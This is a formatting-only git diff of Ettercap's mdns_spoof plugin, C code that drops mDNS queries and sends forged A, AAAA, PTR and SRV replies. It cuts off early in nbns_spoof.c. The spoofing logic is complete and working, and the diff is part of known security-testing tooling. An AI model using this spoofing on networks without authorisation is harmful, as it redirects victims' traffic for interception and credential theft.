plugin_ops mdns_spoof_ops = { +struct plugin_ops mdns_spoof_ops = { /* ettercap version MUST be the global EC_VERSION */ - .ettercap_version = EC_VERSION, + .ettercap_version = EC_VERSION, /* the name of the plugin */ - .name = "mdns_spoof", - /* a short description of the plugin (max 50 chars) */ - .info = "Sends spoofed mDNS replies", - /* the plugin version. */ - .version = "1.0", + .name = "mdns_spoof", + /* a short description of the plugin (max 50 chars) */ + .info = "Sends spoofed mDNS replies", + /* the plugin version. */ + .version = "1.0", /* activation function */ - .init = &mdns_spoof_init, - /* deactivation function */ - .fini = &mdns_spoof_fini, + .init = &mdns_spoof_init, + /* deactivation function */ + .fini = &mdns_spoof_fini, }; /* this function is called on plugin load */ -int plugin_load(void *handle) +int plugin_load(void *handle) { - /* load the database of spoofed replies (etter.dns) + /* load the database of spoofed replies (etter.dns) * return an error if we could not open the file */ if (load_db() != E_SUCCESS) return -E_INVALID; - + mdns_spoof_dump(); return plugin_register(handle, &mdns_spoof_ops); } -static int mdns_spoof_init(void *dummy) +static int mdns_spoof_init(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; - /* + /* * add the hook in the dissector. * this will pass only valid dns packets */ hook_add(HOOK_PROTO_MDNS, &mdns_spoof); - + return PLUGIN_RUNNING; } - -static int mdns_spoof_fini(void *dummy) +static int mdns_spoof_fini(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; /* remove the hook */ hook_del(HOOK_PROTO_MDNS, &mdns_spoof); @@ -127,7 +126,7 @@ static int mdns_spoof_fini(void *dummy) } /* - * load the database in the list + * load the database in the list */ static int load_db(void) { @@ -137,31 +136,31 @@ static int load_db(void) char *ptr, *ip, *name; int lines = 0, type; u_int16 port = 0; - + /* open the file */ f = open_data("etc", ETTER_MDNS, FOPEN_READ_TEXT); if (f == NULL) { USER_MSG("mdns_spoof: Cannot open %s\n", ETTER_MDNS); return -E_INVALID; } - + /* load it in the list */ while (fgets(line, 128, f)) { /* count the lines */ lines++; /* trim comments */ - if ( (ptr = strchr(line, '#')) ) + if ((ptr = strchr(line, '#'))) *ptr = '\0'; /* skip empty lines */ if (!*line || *line == '\r' || *line == '\n') continue; - + /* strip apart the line */ if (!parse_line(line, lines, &type, &ip, &port, &name)) continue; - + /* create the entry */ SAFE_CALLOC(d, 1, sizeof(struct mdns_spoof_entry)); d->name = strdup(name); @@ -187,58 +186,56 @@ static int load_db(void) /* * Parse line on format " ". */ -static int parse_line (const char *str, int line, int *type_p, char **ip_p, u_int16 *port_p, char **name_p) +static int parse_line(const char *str, int line, int *type_p, char **ip_p, u_int16 *port_p, char **name_p) { - static char name[100+1]; + static char name[100 + 1]; static char ip[MAX_ASCII_ADDR_LEN]; static int port; - char type[10+1]; + char type[10 + 1]; - DEBUG_MSG("mdns_spoof: %s:%d str '%s'", ETTER_MDNS, line, str); + DEBUG_MSG("mdns_spoof: %s:%d str '%s'", ETTER_MDNS, line, str); - if (sscanf(str,"%100s %10s %40[^\r\n# ]", name, type, ip) != 3) { + if (sscanf(str, "%100s %10s %40[^\r\n# ]", name, type, ip) != 3) { USER_MSG("mdns_spoof: %s:%d Invalid entry %s\n", ETTER_MDNS, line, str); - return (0); + return 0; } - if (!strcasecmp(type,"PTR")) { - if (strpbrk(name,"*?[]")) { + if (!strcasecmp(type, "PTR")) { + if (strpbrk(name, "*?[]")) { USER_MSG("mdns_spoof: %s:%d Wildcards in PTR records are not allowed; %s\n", ETTER_MDNS, line, str); - return (0); + return 0; } *type_p = ns_t_ptr; *name_p = name; *ip_p = ip; - return (1); + return 1; } - if (!strcasecmp(type,"A")) { + if (!strcasecmp(type, "A")) { *type_p = ns_t_a; *name_p = name; *ip_p = ip; - return (1); + return 1; } - if (!strcasecmp(type,"AAAA")) { + if (!strcasecmp(type, "AAAA")) { *type_p = ns_t_aaaa; *name_p = name; *ip_p = ip; - return (1); + return 1; } if (!strcasecmp(type, "SRV")) { - /* + /* * Additional format scan as SRV records have a different syntax */ static char ip_tmp[MAX_ASCII_ADDR_LEN]; if (sscanf(ip, "[%40[0-9a-fA-F:.]]:%d", ip_tmp, &port) == 2) { - strncpy(ip, ip_tmp, strlen(ip_tmp)+1); - } - else if (sscanf(ip, "%20[0-9.]:%d", ip_tmp, &port) == 2) { - strncpy(ip, ip_tmp, strlen(ip_tmp)+1); - } - else { + strncpy(ip, ip_tmp, strlen(ip_tmp) + 1); + } else if (sscanf(ip, "%20[0-9.]:%d", ip_tmp, &port) == 2) { + strncpy(ip, ip_tmp, strlen(ip_tmp) + 1); + } else { USER_MSG("mdns_spoof: %s:%d Unknown syntax for SRV record; %s\n", ETTER_MDNS, line, str); return 0; @@ -259,51 +256,50 @@ static int parse_line (const char *str, int line, int *type_p, char **ip_p, u_in } USER_MSG("mdns_spoof: %s:%d Unknown record type %s\n", ETTER_MDNS, line, type); - return (0); + return 0; } /* * parse the request and return a spoofed response */ - static void mdns_spoof(struct packet_object *po) - { - struct mdns_header *mdns; - struct iface_env *iface; - char name[NS_MAXDNAME]; - int name_len; - u_char *q, *data, *end;; - u_int16 class; - u_int16 type; - int x; - - mdns = (struct mdns_header *)po->DATA.data; - data = (u_char *)(mdns+1); - end = (u_char *)mdns + po->DATA.len; - - q = data; - - if (mdns->flags == 0x8400 || mdns->answer_rrs > 0) - { - //We only want queries. - return; - } - - /* Do not forward query */ - po->flags |= PO_DROPPED; - - /* set incoming interface as outgoing interface for reply */ - iface = po->flags & PO_FROMIFACE ? GBL_IFACE : GBL_BRIDGE; - - /* process all the questions */ - for (x = 0; x < mdns->questions; x++) { - - name_len = dn_expand((u_char*)mdns, end, q, name, sizeof(name)); +static void mdns_spoof(struct packet_object *po) +{ + struct mdns_header *mdns; + struct iface_env *iface; + char name[NS_MAXDNAME]; + int name_len; + u_char *q, *data, *end; + u_int16 class; + u_int16 type; + int x; + + mdns = (struct mdns_header *)po->DATA.data; + data = (u_char *)(mdns + 1); + end = (u_char *)mdns + po->DATA.len; + + q = data; + + if (mdns->flags == 0x8400 || mdns->answer_rrs > 0) { + // We only want queries. + return; + } + + /* Do not forward query */ + po->flags |= PO_DROPPED; + + /* set incoming interface as outgoing interface for reply */ + iface = po->flags & PO_FROMIFACE ? GBL_IFACE : GBL_BRIDGE; + + /* process all the questions */ + for (x = 0; x < mdns->questions; x++) { + + name_len = dn_expand((u_char *)mdns, end, q, name, sizeof(name)); if (name_len == -1) - return; + return; q = data + name_len; if (q >= end || name_len == 0) - return; + return; NS_GET16(type, q); NS_GET16(class, q); @@ -312,7 +308,7 @@ static int parse_line (const char *str, int line, int *type_p, char **ip_p, u_in if ((class & ~MDNS_QU_FLAG) != ns_c_in) return; - if(type == ns_t_a) { + if (type == ns_t_a) { struct ip_addr *reply; struct ip_addr *sender; struct ip_addr *target; @@ -320,7 +316,7 @@ static int parse_line (const char *str, int line, int *type_p, char **ip_p, u_in u_int8 answer[name_len + 10 + 4]; u_char *p = answer + name_len; char tmp[MAX_ASCII_ADDR_LEN]; - + /* found the reply in the list */ if (get_spoofed_a(name, &reply) != E_SUCCESS) return; @@ -332,14 +328,14 @@ static int parse_line (const char *str, int line, int *type_p, char **ip_p, u_in return; } - /* - * in MDNS the original question is not included - * into the reply packet as with pure DNS - - * fill the buffer with the questioned name of the request - * we will append the answer just after the quoted name - */ + /* + * in MDNS the original question is not included + * into the reply packet as with pure DNS - + * fill the buffer with the questioned name of the request + * we will append the answer just after the quoted name + */ memcpy(answer, data, name_len); /* name */ - memcpy(p , "\x00\x01", 2); /* type A */ + memcpy(p, "\x00\x01", 2); /* type A */ memcpy(p + 2, "\x80\x01", 2); /* cache-flush-bit + class */ memcpy(p + 4, "\x00\x00\x0e\x10", 4); /* TTL (1 hour) */ memcpy(p + 8, "\x00\x04", 2); /* datalen */ @@ -353,15 +349,15 @@ static int parse_line (const char *str, int line, int *type_p, char **ip_p, u_in */ prep_mdns_reply(po, class, &sender, &target, &tmac, reply); - /* send the reply back to the multicast or unicast address + /* send the reply back to the multicast or unicast address * and set the faked address as the source address for the transport */ - send_mdns_reply(iface, po->L4.src, sender, target, tmac, + send_mdns_reply(iface, po->L4.src, sender, target, tmac, ntohs(mdns->id), answer, sizeof(answer), 1, 0, 0); - + USER_MSG("mdns_spoof: [%s %s] spoofed to [%s]\n", name, type_str(type), ip_addr_ntoa(reply, tmp)); } - if(type == ns_t_aaaa) { + if (type == ns_t_aaaa) { struct ip_addr *reply; struct ip_addr *sender; struct ip_addr *target; @@ -369,7 +365,7 @@ static int parse_line (const char *str, int line, int *type_p, char **ip_p, u_in u_int8 answer[name_len + 10 + 16]; u_char *p = answer + name_len; char tmp[MAX_ASCII_ADDR_LEN]; - + /* found the reply in the list */ if (get_spoofed_aaaa(name, &reply) != E_SUCCESS) return; @@ -381,14 +377,14 @@ static int parse_line (const char *str, int line, int *type_p, char **ip_p, u_in return; } - /* - * in MDNS the original question is not included - * into the reply packet as with pure DNS - - * fill the buffer with the questioned name of the request - * we will append the answer just after the quoted name - */ + /* + * in MDNS the original question is not included + * into the reply packet as with pure DNS - + * fill the buffer with the questioned name of the request + * we will append the answer just after the quoted name + */ memcpy(answer, data, name_len); /* name */ - memcpy(p , "\x00\x1c", 2); /* type AAAA */ + memcpy(p, "\x00\x1c", 2); /* type AAAA */ memcpy(p + 2, "\x80\x01", 2); /* cache-flush-bit + class */ memcpy(p + 4, "\x00\x00\x0e\x10", 4); /* TTL (1 hour) */ memcpy(p + 8, "\x00\x10", 2); /* datalen */ @@ -402,39 +398,38 @@ static int parse_line (const char *str, int line, int *type_p, char **ip_p, u_in */ prep_mdns_reply(po, class, &sender, &target, &tmac, reply); - /* send the reply back to the multicast or unicast address + /* send the reply back to the multicast or unicast address * and set the faked address as the source address for the transport */ - send_mdns_reply(iface, po->L4.src, sender, target, tmac, + send_mdns_reply(iface, po->L4.src, sender, target, tmac, ntohs(mdns->id), answer, sizeof(answer), 1, 0, 0); - + USER_MSG("mdns_spoof: [%s %s] spoofed to [%s]\n", name, type_str(type), ip_addr_ntoa(reply, tmp)); - } - else if (type == ns_t_ptr) { + } else if (type == ns_t_ptr) { struct ip_addr *reply; struct ip_addr *sender; struct ip_addr *target; u_int8 *tmac; u_int8 answer[name_len + 256]; - char *a, *p = (char*)answer + name_len; + char *a, *p = (char *)answer + name_len; int rlen; - + /* found the reply in the list */ if (get_spoofed_ptr(name, &a, &reply) != E_SUCCESS) return; - /* - * in MDNS the original question is not included - * into the reply packet as with pure DNS - - * fill the buffer with the questioned name of the request - * we will append the answer just after the quoted name - */ + /* + * in MDNS the original question is not included + * into the reply packet as with pure DNS - + * fill the buffer with the questioned name of the request + * we will append the answer just after the quoted name + */ memcpy(answer, data, name_len); /* name */ - memcpy(p , "\x00\x0c", 2); /* type PTR */ + memcpy(p, "\x00\x0c", 2); /* type PTR */ memcpy(p + 2, "\x80\x01", 2); /* cache-flush-bit + class */ memcpy(p + 4, "\x00\x00\x0e\x10", 4); /* TTL (1 hour) */ /* compress the string into the buffer */ - rlen = dn_comp(a, (u_char*)p + 10, 256, NULL, NULL); + rlen = dn_comp(a, (u_char *)p + 10, 256, NULL, NULL); /* put the length before the dn_comp'd string */ p += 8; NS_PUT16(rlen, p); @@ -448,12 +443,11 @@ static int parse_line (const char *str, int line, int *type_p, char **ip_p, u_in prep_mdns_reply(po, class, &sender, &target, &tmac, reply); /* send the fake reply */ - send_mdns_reply(iface, po->L4.src, sender, target, tmac, + send_mdns_reply(iface, po->L4.src, sender, target, tmac, ntohs(mdns->id), answer, name_len + 10 + rlen, 1, 0, 0); - + USER_MSG("mdns_spoof: [%s %s] spoofed to [%s]\n", name, type_str(type), a); - } - else if (type == ns_t_srv) { + } else if (type == ns_t_srv) { struct ip_addr *reply; struct ip_addr *sender; struct ip_addr *target; @@ -466,17 +460,16 @@ static int parse_line (const char *str, int line, int *type_p, char **ip_p, u_in u_int16 port; int dn_offset = 0; - /* found the reply in the list */ - if (get_spoofed_srv(name, &reply, &port) != E_SUCCESS) + if (get_spoofed_srv(name, &reply, &port) != E_SUCCESS) return; /* * to refer the target to a proper domain name, we have to strip the * service and protocol label from the questioned domain name */ - dn_offset += *(data+dn_offset) + 1; /* first label (e.g. _ldap)*/ - dn_offset += *(data+dn_offset) + 1; /* second label (e.g. _tcp) */ + dn_offset += *(data + dn_offset) + 1; /* first label (e.g. _ldap)*/ + dn_offset += *(data + dn_offset) + 1; /* second label (e.g. _tcp) */ /* avoid offset overrun */ if (dn_offset + 12 > 255) { @@ -487,60 +480,59 @@ static int parse_line (const char *str, int line, int *type_p, char **ip_p, u_in tgtoffset[1] = 12 + dn_offset; /* offset to the actual domain name */ /* - * to inject the spoofed IP address in the additional section, - * we have set the offset pointing to the spoofed domain name set - * below (in turn, after the domain name [variable length] in the + * to inject the spoofed IP address in the additional section, + * we have set the offset pointing to the spoofed domain name set + * below (in turn, after the domain name [variable length] in the * question section) */ srvoffset[0] = 0xc0; /* offset byte */ srvoffset[1] = 12 + name_len + 16; /* offset to the answer */ - /* - * in MDNS the original question is not included - * into the reply packet as with pure DNS - - * fill the buffer with the questioned name of the request - * we will append the answer just after the quoted name - */ + /* + * in MDNS the original question is not included + * into the reply packet as with pure DNS - + * fill the buffer with the questioned name of the request + * we will append the answer just after the quoted name + */ memcpy(answer, data, name_len); /* name */ - memcpy(p , "\x00\x21", 2); /* type SRV */ + memcpy(p, "\x00\x21", 2); /* type SRV */ memcpy(p + 2, "\x80\x01", 2); /* class IN */ memcpy(p + 4, "\x00\x00\x0e\x10", 4); /* TTL (1 hour) */ memcpy(p + 8, "\x00\x0c", 2); /* data length */ memcpy(p + 10, "\x00\x00", 2); /* priority */ memcpy(p + 12, "\x00\x00", 2); /* weight */ - p+=14; - NS_PUT16(port, p); /* port */ - p-=16; - /* + p += 14; + NS_PUT16(port, p); /* port */ + p -= 16; + /* * add "srv." in front of the stripped domain - * name and resolve it in the additional + * name and resolve it in the additional * record (here `srvoffset' is pointing at) */ memcpy(p + 16, "\x03\x73\x72\x76", 4); /* target */ - memcpy(p + 20, tgtoffset,2); /* compressed name offset */ - + memcpy(p + 20, tgtoffset, 2); /* compressed name offset */ + /* add the additional record for the spoofed IPv4 address*/ if (ntohs(reply->addr_type) == AF_INET) { - memcpy(p + 22, srvoffset, 2); /* compressed name offset */ - memcpy(p + 24, "\x00\x01", 2); /* type A */ - memcpy(p + 26, "\x80\x01", 2); /* class */ - memcpy(p + 28, "\x00\x00\x0e\x10", 4); /* TTL (1 hour) */ - memcpy(p + 32, "\x00\x04", 2); /* datalen */ - ip_addr_cpy(p + 34, reply); /* data */ - memset(p + 38, 0, 12); /* padding */ + memcpy(p + 22, srvoffset, 2); /* compressed name offset */ + memcpy(p + 24, "\x00\x01", 2); /* type A */ + memcpy(p + 26, "\x80\x01", 2); /* class */ + memcpy(p + 28, "\x00\x00\x0e\x10", 4); /* TTL (1 hour) */ + memcpy(p + 32, "\x00\x04", 2); /* datalen */ + ip_addr_cpy(p + 34, reply); /* data */ + memset(p + 38, 0, 12); /* padding */ } /* add the additional record for the spoofed IPv6 address*/ else if (ntohs(reply->addr_type) == AF_INET6) { - memcpy(p + 22, srvoffset, 2); /* compressed name offset */ - memcpy(p + 24, "\x00\x1c", 2); /* type AAAA */ - memcpy(p + 26, "\x80\x01", 2); /* class */ - memcpy(p + 28, "\x00\x00\x0e\x10", 4); /* TTL (1 hour) */ - memcpy(p + 32, "\x00\x10", 2); /* datalen */ - ip_addr_cpy(p + 34, reply); /* data */ - } - else { - /* IP address not valid - abort */ - return; + memcpy(p + 22, srvoffset, 2); /* compressed name offset */ + memcpy(p + 24, "\x00\x1c", 2); /* type AAAA */ + memcpy(p + 26, "\x80\x01", 2); /* class */ + memcpy(p + 28, "\x00\x00\x0e\x10", 4); /* TTL (1 hour) */ + memcpy(p + 32, "\x00\x10", 2); /* datalen */ + ip_addr_cpy(p + 34, reply); /* data */ + } else { + /* IP address not valid - abort */ + return; } /* @@ -551,18 +543,16 @@ static int parse_line (const char *str, int line, int *type_p, char **ip_p, u_in */ prep_mdns_reply(po, class, &sender, &target, &tmac, reply); - /* send the reply back to the multicast or unicast address + /* send the reply back to the multicast or unicast address * and set the faked address as the source address for the transport */ - send_mdns_reply(iface, po->L4.src, sender, target, tmac, + send_mdns_reply(iface, po->L4.src, sender, target, tmac, ntohs(mdns->id), answer, sizeof(answer), 2, 0, 0); USER_MSG("mdns_spoof: SRV [%s] spoofed to [%s:%d]\n", name, ip_addr_ntoa(reply, tmp), port); } - } - - - } + } +} /* * return the ip address for the name - IPv4 @@ -576,11 +566,11 @@ static int get_spoofed_a(const char *a, struct ip_addr **ip) /* return the pointer to the struct */ *ip = &d->ip; - + return E_SUCCESS; } } - + return -E_NOTFOUND; } @@ -596,16 +586,16 @@ static int get_spoofed_aaaa(const char *a, struct ip_addr **ip) /* return the pointer to the struct */ *ip = &d->ip; - + return E_SUCCESS; } } - + return -E_NOTFOUND; } -/* - * return the name for the ip address +/* + * return the name for the ip address */ static int get_spoofed_ptr(const char *arpa, char **a, struct ip_addr **ip) { @@ -626,65 +616,64 @@ static int get_spoofed_ptr(const char *arpa, char **a, struct ip_addr **ip) if (strncmp(arpa + len - v4len, v4tld, v4len) == 0) { /* parses the arpa format */ - if (sscanf(arpa, "%d.%d.%d.%d.in-addr.arpa", - &oct[3], &oct[2], &oct[1], &oct[0]) != 4) + if (sscanf(arpa, "%d.%d.%d.%d.in-addr.arpa", + &oct[3], &oct[2], &oct[1], &oct[0]) != 4) return -E_INVALID; /* collect octets */ - ipv4[0] = oct[0] & 0xff; - ipv4[1] = oct[1] & 0xff; - ipv4[2] = oct[2] & 0xff; + ipv4[0] = oct[0] & 0xff; + ipv4[1] = oct[1] & 0xff; + ipv4[2] = oct[2] & 0xff; ipv4[3] = oct[3] & 0xff; /* init the ip_addr structure */ ip_addr_init(&ptr, AF_INET, ipv4); - } /* check the top level domain of the PTR query - IPv6 */ else if (strncmp(arpa + len - v6len, v6tld, v6len) == 0) { - /* parses the ip6.arpa format for IPv6 reverse pointer */ - if (sscanf(arpa, "%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x." - "%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x." - "%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x." - "%1x.%1x.%1x.%1x.%1x.ip6.arpa", - &oct[31], &oct[30], &oct[29], &oct[28], - &oct[27], &oct[26], &oct[25], &oct[24], - &oct[23], &oct[22], &oct[21], &oct[20], - &oct[19], &oct[18], &oct[17], &oct[16], - &oct[15], &oct[14], &oct[13], &oct[12], - &oct[11], &oct[10], &oct[9], &oct[8], - &oct[7], &oct[6], &oct[5], &oct[4], - &oct[3], &oct[2], &oct[1], &oct[0]) != 32) { - return -E_INVALID; - } - - /* collect octets */ - ipv6[0] = (oct[0] << 4) | oct[1]; - ipv6[1] = (oct[2] << 4) | oct[3]; - ipv6[2] = (oct[4] << 4) | oct[5]; - ipv6[3] = (oct[6] << 4) | oct[7]; - ipv6[4] = (oct[8] << 4) | oct[9]; - ipv6[5] = (oct[10] << 4) | oct[11]; - ipv6[6] = (oct[12] << 4) | oct[13]; - ipv6[7] = (oct[14] << 4) | oct[15]; - ipv6[8] = (oct[16] << 4) | oct[17]; - ipv6[9] = (oct[18] << 4) | oct[19]; - ipv6[10] = (oct[20] << 4) | oct[21]; - ipv6[11] = (oct[22] << 4) | oct[23]; - ipv6[12] = (oct[24] << 4) | oct[25]; - ipv6[13] = (oct[26] << 4) | oct[27]; - ipv6[14] = (oct[28] << 4) | oct[29]; - ipv6[15] = (oct[30] << 4) | oct[31]; - - /* init the ip_addr structure */ - ip_addr_init(&ptr, AF_INET6, ipv6); + /* parses the ip6.arpa format for IPv6 reverse pointer */ + if (sscanf(arpa, "%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x." + "%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x." + "%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x." + "%1x.%1x.%1x.%1x.%1x.ip6.arpa", + &oct[31], &oct[30], &oct[29], &oct[28], + &oct[27], &oct[26], &oct[25], &oct[24], + &oct[23], &oct[22], &oct[21], &oct[20], + &oct[19], &oct[18], &oct[17], &oct[16], + &oct[15], &oct[14], &oct[13], &oct[12], + &oct[11], &oct[10], &oct[9], &oct[8], + &oct[7], &oct[6], &oct[5], &oct[4], + &oct[3], &oct[2], &oct[1], &oct[0]) != 32) + { + return -E_INVALID; + } + + /* collect octets */ + ipv6[0] = (oct[0] << 4) | oct[1]; + ipv6[1] = (oct[2] << 4) | oct[3]; + ipv6[2] = (oct[4] << 4) | oct[5]; + ipv6[3] = (oct[6] << 4) | oct[7]; + ipv6[4] = (oct[8] << 4) | oct[9]; + ipv6[5] = (oct[10] << 4) | oct[11]; + ipv6[6] = (oct[12] << 4) | oct[13]; + ipv6[7] = (oct[14] << 4) | oct[15]; + ipv6[8] = (oct[16] << 4) | oct[17]; + ipv6[9] = (oct[18] << 4) | oct[19]; + ipv6[10] = (oct[20] << 4) | oct[21]; + ipv6[11] = (oct[22] << 4) | oct[23]; + ipv6[12] = (oct[24] << 4) | oct[25]; + ipv6[13] = (oct[26] << 4) | oct[27]; + ipv6[14] = (oct[28] << 4) | oct[29]; + ipv6[15] = (oct[30] << 4) | oct[31]; + /* init the ip_addr structure */ + ip_addr_init(&ptr, AF_INET6, ipv6); } /* search in the list */ SLIST_FOREACH(d, &mdns_spoof_head, next) { - /* - * we cannot return whildcards in the reply, + /* + * we cannot return whildcards in the reply, * so skip the entry if the name contains a '*' */ if (d->type == ns_t_ptr && !ip_addr_cmp(&ptr, &d->ip)) { @@ -692,44 +681,44 @@ static int get_spoofed_ptr(const char *arpa, char **a, struct ip_addr **ip) /* return the pointer to the name */ *a = d->name; *ip = &d->ip; - + return E_SUCCESS; } } - + return -E_NOTFOUND; } -static int get_spoofed_srv(const char *name, struct ip_addr **ip, u_int16 *port) +static int get_spoofed_srv(const char *name, struct ip_addr **ip, u_int16 *port) { - struct mdns_spoof_entry *d; + struct mdns_spoof_entry *d; - SLIST_FOREACH(d, &mdns_spoof_head, next) { - if (d->type == ns_t_srv && match_pattern(name, d->name)) { - /* return the pointer to the struct */ - *ip = &d->ip; - *port = d->port; + SLIST_FOREACH(d, &mdns_spoof_head, next) { + if (d->type == ns_t_srv && match_pattern(name, d->name)) { + /* return the pointer to the struct */ + *ip = &d->ip; + *port = d->port; - return E_SUCCESS; - } - } + return E_SUCCESS; + } + } - return -E_NOTFOUND; + return -E_NOTFOUND; } /* - * define sender address and target address + * define sender address and target address */ -static int prep_mdns_reply(struct packet_object *po, u_int16 class, struct ip_addr **sender, - struct ip_addr **target, u_int8 **tmac , struct ip_addr *reply) +static int prep_mdns_reply(struct packet_object *po, u_int16 class, struct ip_addr **sender, + struct ip_addr **target, u_int8 **tmac, struct ip_addr *reply) { char tmp[MAX_ASCII_ADDR_LEN]; - if ((class & MDNS_QU_FLAG) == 0x8000 && ip_addr_is_multicast(&po->L3.dst)) { + if ((class & MDNS_QU_FLAG) == 0x8000 && ip_addr_is_multicast(&po->L3.dst)) { /* received multicast but unicast response requested */ if (reply != NULL && reply->addr_type == po->L3.src.addr_type) { - /* - * address family of spoofed address matches address family + /* + * address family of spoofed address matches address family * of the transport protocol - we use it as the sender */ *sender = reply; @@ -737,10 +726,9 @@ static int prep_mdns_reply(struct packet_object *po, u_int16 class, struct ip_ad *tmac = po->L2.src; return E_SUCCESS; - } else { /* - * we can not use the spoofed address as the sender + * we can not use the spoofed address as the sender * a random link-local address need to be generated */ if (ip_addr_random(&po->L3.dst, ntohs(po->L3.src.addr_type)) == E_SUCCESS) { @@ -751,11 +739,10 @@ static int prep_mdns_reply(struct packet_object *po, u_int16 class, struct ip_ad *tmac = po->L2.src; return E_SUCCESS; - } else { DEBUG_MSG("mdns_spoof: Random sender IP generation failed\n"); - DEBUG_MSG("mdns_spoof: Unknown address family: %s \n", ip_addr_ntoa(&po->L3.src,tmp)); - + DEBUG_MSG("mdns_spoof: Unknown address family: %s \n", ip_addr_ntoa(&po->L3.src, tmp)); + return -E_NOADDRESS; } } @@ -766,12 +753,11 @@ static int prep_mdns_reply(struct packet_object *po, u_int16 class, struct ip_ad *tmac = po->L2.src; return E_SUCCESS; - - } else { + } else { /* normal multicast reply */ if (reply != NULL && reply->addr_type == po->L3.dst.addr_type) { - /* - * send the reply back to the multicast address and set + /* + * send the reply back to the multicast address and set * the spoofed address also as the source ip address */ *sender = reply; @@ -779,16 +765,15 @@ static int prep_mdns_reply(struct packet_object *po, u_int16 class, struct ip_ad *tmac = po->L2.dst; return E_SUCCESS; - } else { /* - * we can not use the spoofed address as the sender + * we can not use the spoofed address as the sender * a random link-local address need to be generated */ if (ip_addr_random(&po->L3.src, ntohs(po->L3.src.addr_type)) == E_SUCCESS) { DEBUG_MSG("mdns_spoof: random IP generated: %s\n", ip_addr_ntoa(&po->L3.src, tmp)); - /* + /* * send the reply back to the multicast address and set the * faked address as the source */ @@ -797,26 +782,24 @@ static int prep_mdns_reply(struct packet_object *po, u_int16 class, struct ip_ad *tmac = po->L2.dst; return E_SUCCESS; - } else { DEBUG_MSG("mdns_spoof: Random sender IP generation failed\n"); - DEBUG_MSG("mdns_spoof: Unknown address family: %s \n", ip_addr_ntoa(&po->L3.src,tmp)); - + DEBUG_MSG("mdns_spoof: Unknown address family: %s \n", ip_addr_ntoa(&po->L3.src, tmp)); + return -E_NOADDRESS; } } } } - -char *type_str (int type) +char *type_str(int type) { - return (type == ns_t_a ? "A" : - type == ns_t_aaaa ? "AAAA" : - type == ns_t_ptr ? "PTR" : - type == ns_t_mx ? "MX" : - type == ns_t_wins ? "WINS" : - type == ns_t_srv ? "SRV" : "?"); + return type == ns_t_a ? "A" : + type == ns_t_aaaa ? "AAAA" : + type == ns_t_ptr ? "PTR" : + type == ns_t_mx ? "MX" : + type == ns_t_wins ? "WINS" : + type == ns_t_srv ? "SRV" : "?"; } static void mdns_spoof_dump(void) @@ -828,29 +811,22 @@ static void mdns_spoof_dump(void) SLIST_FOREACH(d, &mdns_spoof_head, next) { if (ntohs(d->ip.addr_type) == AF_INET) { if (d->type == ns_t_srv) { - DEBUG_MSG(" %s -> [%s:%d], type %s, family IPv4", - d->name, ip_addr_ntoa(&d->ip, tmp), d->port , type_str(d->type)); - } - else { - DEBUG_MSG(" %s -> [%s], type %s, family IPv4", + DEBUG_MSG(" %s -> [%s:%d], type %s, family IPv4", + d->name, ip_addr_ntoa(&d->ip, tmp), d->port, type_str(d->type)); + } else { + DEBUG_MSG(" %s -> [%s], type %s, family IPv4", d->name, ip_addr_ntoa(&d->ip, tmp), type_str(d->type)); } - } - else if (ntohs(d->ip.addr_type) == AF_INET6) { + } else if (ntohs(d->ip.addr_type) == AF_INET6) { if (d->type == ns_t_srv) { - DEBUG_MSG(" %s -> [%s:%d], type %s, family IPv6", - d->name, ip_addr_ntoa(&d->ip, tmp), d->port , type_str(d->type)); - } - else { - DEBUG_MSG(" %s -> [%s], type %s, family IPv6", + DEBUG_MSG(" %s -> [%s:%d], type %s, family IPv6", + d->name, ip_addr_ntoa(&d->ip, tmp), d->port, type_str(d->type)); + } else { + DEBUG_MSG(" %s -> [%s], type %s, family IPv6", d->name, ip_addr_ntoa(&d->ip, tmp), type_str(d->type)); } - } - else - { - DEBUG_MSG(" %s -> ??", d->name); + } else { + DEBUG_MSG(" %s -> ??", d->name); } } } - - diff --git a/plug-ins/nbns_spoof/nbns_spoof.c b/plug-ins/nbns_spoof/nbns_spoof.c index a39d88990..72c846c22 100644 --- a/plug-ins/nbns_spoof/nbns_spoof.c +++ b/plug-ins/nbns_spoof/nbns_spoof.c @@ -1,23 +1,23 @@ /* - nbns_spoof -- ettercap plugin -- spoofs NBNS replies - - Copyright (C) Ettercap team - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * nbns_spoof -- ettercap plugin -- spoofs NBNS replies + * + * Copyright (C) Ettercap team + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include /* required for global variables */ #include @@ -37,17 +37,16 @@ #define NBNS_NAME_LEN 34 #define NBNS_DECODED_NAME_LEN 16 - /* From LWIP */ #define OPCODE_R 0x8000 /*OPCODE 1-4 Operation specifier: - 0 = query - 5 = registration - 6 = release - 7 = WACK - 8 = refresh */ + * 0 = query + * 5 = registration + * 6 = release + * 7 = WACK + * 8 = refresh */ #define OPCODE_MASK 0x7800 #define OPCODE_QUERY 0x0000 @@ -55,9 +54,8 @@ #define OPCODE_RELEASE 0x3000 #define OPCODE_WACK 0x3800 #define OPCODE_REFRESH 0x4000 - -/* NM_FLAGS subfield bits */ +/* NM_FLAGS subfield bits */ #define NM_AA_BIT 0x0400 /* Authoritative Answer */ #define NM_TR_BIT 0x0200 /* TRuncation flag 